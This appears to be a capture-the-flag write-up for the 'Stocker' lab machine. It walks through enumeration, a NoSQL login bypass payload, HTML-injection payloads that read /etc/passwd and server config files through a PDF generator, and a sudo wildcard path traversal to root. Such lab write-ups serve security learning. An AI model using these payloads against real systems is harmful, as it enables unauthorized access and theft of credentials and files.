Stocker

User flag

$ nmap -sC -sV 10.10.11.196
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-18 14:50 CST
Nmap scan report for stocker.htb (10.10.11.196)
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds
$ gobuster vhost -u http://stocker.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://stocker.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.4
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/02/18 14:59:34 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
Progress: 4926 / 4990 (98.72%)
===============================================================
2023/02/18 15:00:02 Finished
===============================================================
$ ./go/bin/webanalyze -host dev.stocker.htb
 :: webanalyze        : v0.3.7
 :: workers           : 4
 :: technologies      : technologies.json
 :: crawl count       : 0
 :: search subdomains : true
 :: follow redirects  : false

http://dev.stocker.htb (0.2s):
    Express,  (Web frameworks, Web servers)
    Node.js,  (Programming languages)
    Hugo, 0.84.0 (Static site generator)
    Bootstrap,  (UI frameworks)
    Nginx, 1.18.0 (Web servers, Reverse proxies)
    Ubuntu,  (Operating systems)

Default username is jsmith.

SQL injection didn't work here, but NoSQL injection did. https://github.com/Charlie-belmer/nosqli

$ ./nosqli_linux_x64_v0.5.4 scan -t "http://dev.stocker.htb/login?username=jsmith&password=a"
Running Error based scan...
Running GET parameter scan...
Running Timing based scan...
Found Timing based NoSQL Injection:
	URL: http://dev.stocker.htb/login?username=%3Bsleep%28500%29%3B%2F%2F
	param: username
	Injection: =;sleep(500);//

Running Boolean based scan...
Running Timing based scan...
[1]+  Done                    ./nosqli_linux_x64_v0.5.4 scan -t http://dev.stocker.htb/login?username=jsmith

It was possible to use bypass the login by using the json authentication bypass from https://book.hacktricks.xyz/pentesting-web/nosql-injection by intercepting the request in burpsuite, changing the Content-Type to application/json, and using the following payload:

{"username": {"$ne": null}, "password": {"$ne": null} }

Adding items to cart and checking out results in this submission:

{
  "basket":[
    {
      "_id":"638f116eeb060210cbd83a8d",
      "title":"Cup",
      "description":"It's a red cup.",
      "image":"red-cup.jpg",
      "price":32,
      "currentStock":4,
      "__v":0,
      "amount":1
    },
    {
      "_id":"638f116eeb060210cbd83a8f",
      "title":"Bin",
      "description":"It's a rubbish bin.",
      "image":"bin.jpg",
      "price":76,
      "currentStock":15,
      "__v":0,
      "amount":5
    }
  ]
}

Changing values around in the submission changes the resulting pdf, and experimentation shows that we can also insert html tags into the title:

"title":"<h1>Axe</h1>",

We can then use html injection to access local files:

"title":"<object data=/etc/passwd width=500px height=500px>a</object>",

We know from earlier that this machine is running nginx, so we can use the following to determine where the website's files are stored:

"title":"<object data=/etc/nginx/nginx.conf width=1200px height=1000px>a</object>",

Then after including different files in that directory, something interesting was found in /var/www/dev/index.js.

Then trying that password against the users from /etc/passwd via ssh. Was able to log in as angoose.

Root flag

First check to see what the user can run as root:

angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

All the files under /usr/local/scripts are execute-only, so it's not clear what they do. But notice that there's a wildcard! This means that we can access files from any arbitrary directory!

Copy the javascript program from https://www.geeksforgeeks.org/javascript-program-to-read-text-file/ to /tmp/test.js, then execute with:

angoose@stocker:/tmp$ sudo node /usr/local/scripts/../../../tmp/test.js

And we can use this to get the root flag!